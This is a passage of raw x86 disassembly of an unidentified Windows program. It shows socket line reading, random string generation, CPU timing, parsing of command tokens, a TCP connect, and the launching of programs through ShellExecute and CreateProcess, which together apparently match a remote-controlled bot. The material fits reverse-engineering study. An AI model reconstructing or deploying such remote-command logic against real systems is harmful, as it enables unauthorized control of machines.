		jnz	short loc_41B64E
		push	80Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_41B64A
		push	esi
		mov	ecx, eax
		call	sub_401C49
		jmp	short loc_41B64C
; ---------------------------------------------------------------------------


loc_41B64A:				; CODE XREF: sub_41B5B0+8Ej
		xor	eax, eax


loc_41B64C:				; CODE XREF: sub_41B5B0+98j
		mov	esi, eax


loc_41B64E:				; CODE XREF: sub_41B5B0+7Dj
		push	0
		push	0
		push	esi
		mov	ecx, ebx
		call	sub_401B95
		test	al, al
		jnz	short loc_41B667
		push	7D0h
		call	ebp
		jmp	short loc_41B6A4
; ---------------------------------------------------------------------------


loc_41B667:				; CODE XREF: sub_41B5B0+ACj
		xor	ecx, ecx
		lea	edx, [esp+24h+var_14]
		mov	[esp+24h+var_10], ecx
		lea	eax, [esp+24h+var_10]
		mov	[esp+24h+var_C], ecx
		push	edx
		mov	[esp+28h+var_8], ecx
		push	eax
		mov	[esp+2Ch+var_4], ecx
		mov	ecx, esi
		mov	[esp+2Ch+var_14], 10h
		call	sub_4018A2
		mov	al, byte ptr [esp+24h+var_C]
		test	al, al
		jz	short loc_41B6A4
		push	esi
		call	dword ptr [edi+823h]
		add	esp, 4


loc_41B6A4:				; CODE XREF: sub_41B5B0+B5j
					; sub_41B5B0+E8j
		mov	al, [edi+10h]
		test	al, al
		jnz	loc_41B61E


loc_41B6AF:				; CODE XREF: sub_41B5B0+3Ej
					; sub_41B5B0+68j ...
		mov	ecx, ebx
		call	sub_4014E7
		pop	esi
		pop	ebp
		pop	ebx
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41B6C0:				; CODE XREF: sub_41B5B0+Bj
					; sub_41B5B0+19j
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
sub_41B5B0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B720:				; CODE XREF: ___:00401C35j
		mov	eax, [esp+0Ch]
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		dec	eax
		mov	[ebp+0], bl
		cmp	eax, ebx
		mov	byte ptr [esp+18h], 1
		jle	short loc_41B795
		mov	esi, ebp


loc_41B73F:				; CODE XREF: ___:0041B793j
		cmp	esi, ebx
		jz	short loc_41B795
		cmp	[esp+18h], bl
		jz	short loc_41B795
		mov	ecx, [esp+14h]
		push	ebx
		push	1
		push	esi
		push	ecx
		nop
		call	near ptr 71AB615Ah
		cmp	eax, ebx
		jz	short loc_41B7A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B7A4
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_41B79D
		mov	[edi+ebp+1], bl
		mov	al, [esi]
		cmp	al, 0Ah
		jz	short loc_41B780
		cmp	al, 0Dh
		jz	short loc_41B780
		cmp	al, bl
		jnz	short loc_41B788


loc_41B780:				; CODE XREF: ___:0041B776j
					; ___:0041B77Aj
		mov	[edi+ebp-1], bl
		mov	[esp+18h], bl


loc_41B788:				; CODE XREF: ___:0041B77Ej
		mov	edx, [esp+1Ch]
		inc	edi
		inc	esi
		lea	eax, [edx-1]
		cmp	edi, eax
		jl	short loc_41B73F


loc_41B795:				; CODE XREF: ___:0041B73Bj
					; ___:0041B741j ...
		mov	eax, [esp+1Ch]
		mov	[eax+ebp-1], bl


loc_41B79D:				; CODE XREF: ___:0041B76Cj
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B7A4:				; CODE XREF: ___:0041B75Aj
					; ___:0041B75Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B7E0	proc near		; CODE XREF: sub_401280j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		xor	ebx, ebx
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		push	edi
		mov	[ebp+0], bl
		mov	byte ptr [esp+10h+arg_4], 1
		jle	short loc_41B84A
		mov	edi, ebp


loc_41B7FF:				; CODE XREF: sub_41B7E0+68j
		cmp	edi, ebx
		jz	short loc_41B84A
		cmp	byte ptr [esp+10h+arg_4], bl
		jz	short loc_41B84A
		mov	ecx, [esp+10h+arg_0]
		push	ebx
		push	1
		push	edi
		push	ecx
		nop
		call	near ptr 71AB615Ah
		test	eax, eax
		jz	short loc_41B859
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41B82A
		cmp	al, bl
		jnz	short loc_41B83D


loc_41B82A:				; CODE XREF: sub_41B7E0+44j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41B837
		mov	[esi+ebp-1], bl
		jmp	short loc_41B839
; ---------------------------------------------------------------------------


loc_41B837:				; CODE XREF: sub_41B7E0+4Fj
		mov	[edi], bl


loc_41B839:				; CODE XREF: sub_41B7E0+55j
		mov	byte ptr [esp+10h+arg_4], bl


loc_41B83D:				; CODE XREF: sub_41B7E0+48j
		mov	edx, [esp+10h+arg_8]
		inc	esi
		inc	edi
		lea	eax, [edx-1]
		cmp	esi, eax
		jl	short loc_41B7FF


loc_41B84A:				; CODE XREF: sub_41B7E0+1Bj
					; sub_41B7E0+21j ...
		mov	eax, [esp+10h+arg_8]
		pop	edi
		pop	esi
		mov	[eax+ebp-1], bl
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B859:				; CODE XREF: sub_41B7E0+3Aj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
sub_41B7E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B880:				; CODE XREF: ___:00401AF0j
		push	ebx
		mov	ebx, [esp+8]
		push	ebp
		mov	ebp, [esp+10h]
		mov	ecx, ebp
		push	esi
		mov	edx, ecx
		push	edi
		xor	eax, eax
		mov	edi, ebx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		xor	esi, esi
		and	ecx, 3
		test	ebp, ebp
		rep stosb
		jle	short loc_41B8DB


loc_41B8A6:				; CODE XREF: ___:0041B8D9j
		push	3
		push	1
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		dec	eax
		jz	short loc_41B8C7
		dec	eax
		jz	short loc_41B8C1
		dec	eax
		jnz	short loc_41B8D6
		push	7Ah
		push	61h
		jmp	short loc_41B8CB
; ---------------------------------------------------------------------------


loc_41B8C1:				; CODE XREF: ___:0041B8B6j
		push	5Ah
		push	41h
		jmp	short loc_41B8CB
; ---------------------------------------------------------------------------


loc_41B8C7:				; CODE XREF: ___:0041B8B3j
		push	39h
		push	30h


loc_41B8CB:				; CODE XREF: ___:0041B8BFj
					; ___:0041B8C5j
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esi+ebx], al


loc_41B8D6:				; CODE XREF: ___:0041B8B9j
		inc	esi
		cmp	esi, ebp
		jl	short loc_41B8A6


loc_41B8DB:				; CODE XREF: ___:0041B8A4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: sub_401424j
		rdtsc
		retn
sub_41B900	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B920	proc near		; CODE XREF: sub_4017FDj

var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		mov	ebx, dword_5118D8
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp


loc_41B92F:				; CODE XREF: sub_41B920+43j
					; sub_41B920+4Dj
		call	sub_401424
		push	3E8h
		mov	esi, eax
		mov	edi, edx
		call	ebx
		call	sub_401424
		sub	eax, esi
		push	ebp
		sbb	edx, edi
		push	186A0h
		push	edx
		push	eax
		call	sub_437C60
		push	ebp
		push	0Ah
		push	edx
		push	eax
		call	sub_437C60
		cmp	edx, ebp
		mov	esi, eax
		ja	short loc_41B92F
		jb	short loc_41B96F
		cmp	esi, 0F4240h
		ja	short loc_41B92F


loc_41B96F:				; CODE XREF: sub_41B920+45j
		push	ebp
		push	64h
		push	edx
		push	esi
		call	sub_437BE0
		mov	ecx, eax
		cmp	edx, ebp
		mov	eax, 64h
		mov	[esp+18h+var_4], ebp
		ja	short loc_41B9F9
		jb	short loc_41B98F
		cmp	ecx, 50h
		jnb	short loc_41B998


loc_41B98F:				; CODE XREF: sub_41B920+68j
		mov	eax, 4Bh
		mov	[esp+18h+var_4], ebp


loc_41B998:				; CODE XREF: sub_41B920+6Dj
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9A3
		cmp	ecx, 47h
		jnb	short loc_41B9AC


loc_41B9A3:				; CODE XREF: sub_41B920+7Cj
		mov	eax, 42h
		mov	[esp+18h+var_4], ebp


loc_41B9AC:				; CODE XREF: sub_41B920+81j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9B7
		cmp	ecx, 37h
		jnb	short loc_41B9C0


loc_41B9B7:				; CODE XREF: sub_41B920+90j
		mov	eax, 32h
		mov	[esp+18h+var_4], ebp


loc_41B9C0:				; CODE XREF: sub_41B920+95j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9CB
		cmp	ecx, 26h
		jnb	short loc_41B9D4


loc_41B9CB:				; CODE XREF: sub_41B920+A4j
		mov	eax, 21h
		mov	[esp+18h+var_4], ebp


loc_41B9D4:				; CODE XREF: sub_41B920+A9j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9DF
		cmp	ecx, 1Eh
		jnb	short loc_41B9E8


loc_41B9DF:				; CODE XREF: sub_41B920+B8j
		mov	eax, 19h
		mov	[esp+18h+var_4], ebp


loc_41B9E8:				; CODE XREF: sub_41B920+BDj
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9F3
		cmp	ecx, 0Ah
		jnb	short loc_41B9F9


loc_41B9F3:				; CODE XREF: sub_41B920+CCj
		xor	eax, eax
		mov	[esp+18h+var_4], ebp


loc_41B9F9:				; CODE XREF: sub_41B920+66j
					; sub_41B920+7Aj ...
		sub	eax, ecx
		pop	edi
		add	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_41B920	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BA50	proc near		; CODE XREF: sub_402040j

var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_41BA50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		mov	al, byte_449729
		push	ebx
		push	esi
		push	edi
		test	al, al
		mov	[esp+4Ch+var_40], 0
		jz	loc_41BBAF
		push	ebp
		lea	ecx, [esp+50h+var_3C]
		call	sub_40142E
		push	400h
		lea	ecx, [esp+54h+var_3C]
		mov	[esp+54h+var_4], 1
		xor	bl, bl
		call	sub_401C71
		mov	ebp, eax
		call	sub_401F0A
		lea	ecx, [esp+50h+var_3C]
		call	sub_4013E3
		mov	[esp+50h+arg_4], eax
		lea	eax, [esp+50h+arg_4]
		push	eax
		push	ebp
		nop
		call	near ptr 282110Eh
		test	eax, eax
		jnz	short loc_41BAE6
		mov	edi, offset byte_448F30
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb


loc_41BAE6:				; CODE XREF: sub_41BA50+74j
		movsx	ecx, byte ptr [ebp+0]
		mov	eax, 41h


loc_41BAEF:				; CODE XREF: sub_41BA50+A9j
		cmp	ecx, eax
		jnz	short loc_41BAF5
		mov	bl, 1


loc_41BAF5:				; CODE XREF: sub_41BA50+A1j
		inc	eax
		cmp	eax, 5Bh
		jl	short loc_41BAEF
		mov	eax, 61h


loc_41BB00:				; CODE XREF: sub_41BA50+BAj
		cmp	ecx, eax
		jnz	short loc_41BB06
		mov	bl, 1


loc_41BB06:				; CODE XREF: sub_41BA50+B2j
		inc	eax
		cmp	eax, 7Bh
		jl	short loc_41BB00
		test	bl, bl
		jnz	short loc_41BB32
		mov	edi, offset byte_448F30
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_41BB32:				; CODE XREF: sub_41BA50+BEj
		mov	esi, dword_511AC8
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_3C]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+50h+var_40], 1
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		pop	ebp
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_41BBAF:				; CODE XREF: sub_41BA50+2Aj
		lea	ecx, [esp+4Ch+var_24]
		call	sub_40142E
		mov	ebx, 2
		mov	[esp+4Ch+var_4], ebx
		nop
		call	near ptr 2800BE7h
		push	eax
		nop
		call	near ptr 77C371BCh
		mov	edi, dword_511AC8
		add	esp, 4
		call	edi	; rand
		cdq
		mov	ecx, 3
		idiv	ecx
		lea	ecx, [esp+4Ch+var_24]
		mov	esi, edx
		mov	edx, [esp+4Ch+arg_4]
		push	edx
		add	esi, 6
		call	sub_4015E1
		test	esi, esi
		jle	short loc_41BC4E


loc_41BBF8:				; CODE XREF: sub_41BA50+1FCj
		lea	ecx, [esp+4Ch+var_3C]
		call	sub_40142E
		lea	eax, [esp+4Ch+var_24]
		lea	ecx, [esp+4Ch+var_3C]
		push	eax
		mov	byte ptr [esp+50h+var_4], 3
		call	sub_401FDC
		call	edi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+4Ch+var_3C]
		add	edx, 61h
		push	edx
		call	sub_4017EE
		push	eax
		lea	edx, [esp+54h+var_24]
		push	offset dword_444E5C
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], bl
		call	sub_401226
		dec	esi
		jnz	short loc_41BBF8


loc_41BC4E:				; CODE XREF: sub_41BA50+1A6j
		mov	esi, [esp+4Ch+arg_0]
		lea	eax, [esp+4Ch+var_24]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		lea	ecx, [esp+4Ch+var_24]
		mov	[esp+4Ch+var_40], 1
		mov	byte ptr [esp+4Ch+var_4], 0
		call	sub_401226
		mov	ecx, [esp+4Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn
sub_41BA50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BD20:				; CODE XREF: ___:00401573j
		mov	al, [esp+4]
		cmp	al, 20h
		jz	short loc_41BD2F
		cmp	al, 9
		jz	short loc_41BD2F
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_41BD2F:				; CODE XREF: ___:0041BD26j
					; ___:0041BD2Aj
		mov	al, 1
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BD50:				; CODE XREF: ___:00401EF6j
		mov	eax, [esp+4]
		push	offset dword_444E64
		push	eax
		nop
		call	near ptr 77C3F010h
		add	esp, 8
		test	eax, eax
		jz	short loc_41BD74
		push	eax
		nop
		call	near ptr 77C40AB1h
		add	esp, 4
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_41BD74:				; CODE XREF: ___:0041BD65j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BD90	proc near		; CODE XREF: sub_401483j

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= byte ptr -20h
arg_0		= dword	ptr  4

		sub	esp, 30h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+40h+arg_0]
		test	edi, edi
		jz	loc_41BFEE
		mov	esi, offset byte_448F30
		mov	eax, edi


loc_41BDAA:				; CODE XREF: sub_41BD90+3Cj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BDD2
		test	cl, cl
		jz	short loc_41BDCE
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BDD2
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BDAA


loc_41BDCE:				; CODE XREF: sub_41BD90+26j
		xor	eax, eax
		jmp	short loc_41BDD7
; ---------------------------------------------------------------------------


loc_41BDD2:				; CODE XREF: sub_41BD90+22j
					; sub_41BD90+32j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BDD7:				; CODE XREF: sub_41BD90+40j
		test	eax, eax
		jz	loc_41BFEE
		push	20h
		lea	eax, [esp+44h+var_20]
		push	edi
		push	eax
		call	near ptr 77C47A90h
		nop
		mov	edi, dword_511B00
		lea	ecx, [esp+4Ch+var_20]
		push	offset dword_4447F8
		push	ecx
		call	edi	; strtok
		add	esp, 14h
		mov	[esp+40h+var_30], eax
		test	eax, eax
		jz	loc_41BFEE
		mov	ebx, 1
		lea	esi, [esp+40h+var_2C]


loc_41BE17:				; CODE XREF: sub_41BD90+A4j
		push	offset dword_4447F8
		push	0
		call	edi	; strtok
		add	esp, 8
		mov	[esi], eax
		test	eax, eax
		jz	loc_41BFEE
		inc	ebx
		add	esi, 4
		cmp	ebx, 4
		jl	short loc_41BE17
		mov	ebp, [esp+40h+var_30]
		mov	esi, offset dword_444E80
		mov	eax, ebp


loc_41BE41:				; CODE XREF: sub_41BD90+D3j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BE69
		test	dl, dl
		jz	short loc_41BE65
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BE69
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE41


loc_41BE65:				; CODE XREF: sub_41BD90+BDj
		xor	eax, eax
		jmp	short loc_41BE6E
; ---------------------------------------------------------------------------


loc_41BE69:				; CODE XREF: sub_41BD90+B9j
					; sub_41BD90+C9j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BE6E:				; CODE XREF: sub_41BD90+D7j
		test	eax, eax
		jnz	short loc_41BE7C
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BE7C:				; CODE XREF: sub_41BD90+E0j
		mov	esi, offset dword_444E7C
		mov	eax, ebp


loc_41BE83:				; CODE XREF: sub_41BD90+115j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BEAB
		test	dl, dl
		jz	short loc_41BEA7
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BEAB
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE83


loc_41BEA7:				; CODE XREF: sub_41BD90+FFj
		xor	eax, eax
		jmp	short loc_41BEB0
; ---------------------------------------------------------------------------


loc_41BEAB:				; CODE XREF: sub_41BD90+FBj
					; sub_41BD90+10Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BEB0:				; CODE XREF: sub_41BD90+119j
		mov	edi, [esp+40h+var_2C]
		test	eax, eax
		jnz	short loc_41BEFA
		mov	esi, offset dword_444E78
		mov	edx, edi


loc_41BEBF:				; CODE XREF: sub_41BD90+151j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BEE7
		test	bl, bl
		jz	short loc_41BEE3
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BEE7
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BEBF


loc_41BEE3:				; CODE XREF: sub_41BD90+13Bj
		xor	edx, edx
		jmp	short loc_41BEEC
; ---------------------------------------------------------------------------


loc_41BEE7:				; CODE XREF: sub_41BD90+137j
					; sub_41BD90+147j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BEEC:				; CODE XREF: sub_41BD90+155j
		test	edx, edx
		jnz	short loc_41BEFA
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BEFA:				; CODE XREF: sub_41BD90+126j
					; sub_41BD90+15Ej
		mov	esi, offset dword_444E74
		mov	edx, ebp


loc_41BF01:				; CODE XREF: sub_41BD90+193j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BF29
		test	bl, bl
		jz	short loc_41BF25
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BF29
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BF01


loc_41BF25:				; CODE XREF: sub_41BD90+17Dj
		xor	edx, edx
		jmp	short loc_41BF2E
; ---------------------------------------------------------------------------


loc_41BF29:				; CODE XREF: sub_41BD90+179j
					; sub_41BD90+189j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BF2E:				; CODE XREF: sub_41BD90+197j
		test	edx, edx
		jnz	short loc_41BF74
		mov	esi, offset dword_444E70
		mov	edx, edi


loc_41BF39:				; CODE XREF: sub_41BD90+1CBj
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BF61
		test	bl, bl
		jz	short loc_41BF5D
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BF61
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BF39


loc_41BF5D:				; CODE XREF: sub_41BD90+1B5j
		xor	edx, edx
		jmp	short loc_41BF66
; ---------------------------------------------------------------------------


loc_41BF61:				; CODE XREF: sub_41BD90+1B1j
					; sub_41BD90+1C1j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BF66:				; CODE XREF: sub_41BD90+1CFj
		test	edx, edx
		jnz	short loc_41BF74
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BF74:				; CODE XREF: sub_41BD90+1A0j
					; sub_41BD90+1D8j
		mov	esi, offset dword_444E6C
		mov	ecx, ebp


loc_41BF7B:				; CODE XREF: sub_41BD90+20Dj
		mov	al, [ecx]
		mov	bl, [esi]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BFA3
		test	dl, dl
		jz	short loc_41BF9F
		mov	al, [ecx+1]
		mov	bl, [esi+1]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BFA3
		add	ecx, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BF7B


loc_41BF9F:				; CODE XREF: sub_41BD90+1F7j
		xor	ecx, ecx
		jmp	short loc_41BFA8
; ---------------------------------------------------------------------------


loc_41BFA3:				; CODE XREF: sub_41BD90+1F3j
					; sub_41BD90+203j
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_41BFA8:				; CODE XREF: sub_41BD90+211j
		test	ecx, ecx
		jnz	short loc_41BFEE
		mov	esi, offset dword_444E68
		mov	eax, edi


loc_41BFB3:				; CODE XREF: sub_41BD90+245j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BFDB
		test	cl, cl
		jz	short loc_41BFD7
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BFDB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BFB3


loc_41BFD7:				; CODE XREF: sub_41BD90+22Fj
		xor	eax, eax
		jmp	short loc_41BFE0
; ---------------------------------------------------------------------------


loc_41BFDB:				; CODE XREF: sub_41BD90+22Bj
					; sub_41BD90+23Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BFE0:				; CODE XREF: sub_41BD90+249j
		test	eax, eax
		jnz	short loc_41BFEE
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BFEE:				; CODE XREF: sub_41BD90+Dj
					; sub_41BD90+49j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 30h
		retn
sub_41BD90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C0A0	proc near		; CODE XREF: sub_402022j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		push	esi
		push	6
		push	1
		push	2
		xor	bl, bl
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C108
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C108
		mov	eax, [esp+18h+arg_0]
		push	eax
		call	near ptr 71AB2BF4h
		nop
		mov	ecx, [esp+18h+arg_4]
		mov	[esp+18h+var_C], eax
		push	ecx
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+18h+var_10]
		push	10h
		push	edx
		push	esi
		mov	[esp+24h+var_E], ax
		mov	[esp+24h+var_10], 2
		nop
		call	near ptr 71AB406Ah
		test	eax, eax
		jnz	short loc_41C0F9
		mov	bl, 1


loc_41C0F9:				; CODE XREF: sub_41C0A0+55j
		push	esi
		call	near ptr 71AB9639h
		nop
		mov	al, bl
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41C108:				; CODE XREF: sub_41C0A0+18j
					; sub_41C0A0+1Dj
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 10h
		retn
sub_41C0A0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C130	proc near		; CODE XREF: sub_401299j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	0
		push	eax
		push	ecx
		push	offset aOpen	; "open"
		push	0
		call	near ptr 7CA41110h
		nop
		cmp	eax, 20h
		setnl	al
		retn
sub_41C130	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C170	proc near		; CODE XREF: sub_402167j

var_54		= byte ptr -54h
var_44		= dword	ptr -44h
var_14		= word ptr -14h
arg_0		= dword	ptr  4

		sub	esp, 54h
		push	edi
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+58h+var_44]
		rep stosd
		mov	[esp+58h+var_14], ax
		lea	eax, [esp+58h+var_54]
		mov	edx, [esp+58h+arg_0]
		lea	ecx, [esp+58h+var_44]
		push	eax
		push	ecx
		push	0
		push	0
		push	28h
		push	0
		push	0
		push	0
		push	edx
		push	0
		mov	[esp+80h+var_44], 44h
		nop
		call	near ptr 28104BCh
		test	eax, eax
		setnle	al
		pop	edi
		add	esp, 54h
		retn
sub_41C170	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C1E0:				; CODE XREF: ___:00401884j
		sub	esp, 354h
		mov	eax, off_444E8C
		mov	ecx, off_444E90
		mov	[esp+0], eax
		mov	al, byte_448F30
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_444E94
		rep stosd
		mov	ecx, off_444E84
